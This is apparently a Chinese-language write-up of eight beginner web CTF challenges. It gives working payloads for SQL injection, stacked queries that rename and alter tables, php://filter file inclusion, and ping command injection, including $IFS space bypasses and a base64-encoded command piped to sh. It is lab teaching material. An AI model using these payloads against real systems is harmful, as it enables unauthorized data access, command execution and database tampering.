一、[极客大挑战 2019] EasySQL
点击链接进入靶场
登录页面,查看页面源代码发现没留注释
先输入 admin' or 1=1# 提交看看(根据题意猜测考察的 SQL 注入)
显示 Flag
二、[极客大挑战 2019] Havefun
打开靶场
页面只有一只猫,打开 F12 检查源代码
可以发现有段注释
<!--
$cat=$_GET['cat'];
echo $cat;
if($cat=='dog'){
echo 'Syc{cat_cat_cat_cat}';
}
-->
含义为如果参数名 cat = dog 值,则输出 flag
在 URL 后面手动构造参数:/?cat=dog
三、[HCTF 2018] WarmUp
打开靶场
页面只有一个猥琐笑脸,F12 查看源代码发现有注释
URL 访问这个 PHP 文件
这里就考验的是代码审计了(大概过一下就行,看重点),观察代码可以发现有个 hint.php,尝试访问一下
提示了 Flag 文件地址,继续 URL 访问
根据 ffffllllaaaagggg 推测出大概路径
四、[ACTF2020 新生赛] Include
打开靶场
先 F12 检查源代码
发现只有超链接,点击跳转
并没有任何提示,根据题目文件猜测考察的是文件包含
flag 就藏在 flag.php 文件中,所以推测采用的是 PHP 伪协议:php://filter -- 对本地磁盘文件进行读写
构造 payload:
?file=php://filter/read=convert.base64-encode/resource=flag.php
# (base64解密就可以看到内容,这里如果不进行base64_encode,则被include进来的代码就会被执行,导致看不到源代码)
拿到字符串进行解码操作
成功拿到 flag
五、[ACTF2020 新生赛] Exec
打开靶场
先 F12 检查源代码并没有发现注释
给出提示 Ping 应该是要咱们输入地址然后 Ping,这里输入回环地址试试
猜测存在漏洞,输入 | ls 测试
127.0.0.1 | ls
显示文件 index.php,证明存在漏洞
继续测试上级目录
127.0.0.1 | ls /
发现 flag,查看内容
127.0.0.1 | cat /flag
六、[GXYCTF2019] Ping Ping Ping
打开靶场
F12 检查源代码没有发现注释
根据网页内容和题目名推测是让咱在 URL 路径上跟上参数然后执行 Ping 命令,这里先跟个 127.0.0.1 试试
/?ip=127.0.0.1
有回显,推测存在漏洞
输入 | ls 测试
?ip=127.0.0.1 | ls
发现被过滤,不加空格试试
?ip=127.0.0.1|ls
发现 flag.php 文件
因为过滤了空格,所以要绕过一下(过滤了大多数符号,查看 index.php 文件即可)
?ip=127.0.0.1|cat$IFS$9index.php
# $IFS是一个环境变量,用于设置shell中的字段分隔符。在这里,它被用作特殊字符
# $9只是当前系统shell进程的第九个参数的持有者,它始终为空字符串
发现很多都过滤了,但仍能绕过
方法一:利用变量代替关键字
/?ip=127.0.0.1;a=g;cat$IFS$9fla$a.php
方法二: 内联执行
先执行 ls 命令,再执行 cat
/?ip=127.0.0.1;cat$IFS$9`ls`
方法三:编码绕过
使用 base64 编码的方式来绕过 flag 过滤
/?ip=127.0.0.1;echo$IFS$9Y2F0IGZsYWcucGhwCg==$IFS$9|$IFS$9base64$IFS$9-d$IFS$9|$IFS$9sh
七、[SUCTF 2019] EasySQL
启动靶场
F12 检查源代码
输入 flag 测试
再输入数字型 1 测试
有回显,判断存在注入点,输入 1' 测试
没有回显,得盲注了,输入 1 # 测试
能显示正常结果,说明过滤做过滤,且能推测出数据库使用的是 MySQL(还可以输入 connection_id() 判断,结果与 1 是一致的)
输入 1,1 测试
再输入 2,1 测试
再输入 2,2 测试发现结果不变,说明第一个字段值影响结果
输入 *,1 测试找到 flag
八、[强网杯 2019] 随便注
打开靶场
给出了一个默认值 1,先提交看看
输入 1' 测试是否为注入点
输入
1' or 1=1 #
继续测试字段数
1' order by 1 #
测试到 3 时报错,说明只有两个字段
直接堆叠注入爆破数据库
0';show databases;#
继续爆表
1';show tables;#
先爆破数字表(一看就不简单)
1';show columns from `1919810931114514 `;#
发现 flag 列,但是查询时发现 select 被过滤
再查看另一张表
1’;show columns from words;#
将words表名改为words1,再将数字表名改为words,这样查询语句就会查询数字表名,我们再将flag字段名改为id字段或者直接添加id字段,就可以达到使用原先代码中的查询语句对flag中的内容进行查询
1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#
最后输入万能密码 1' or 1=1 #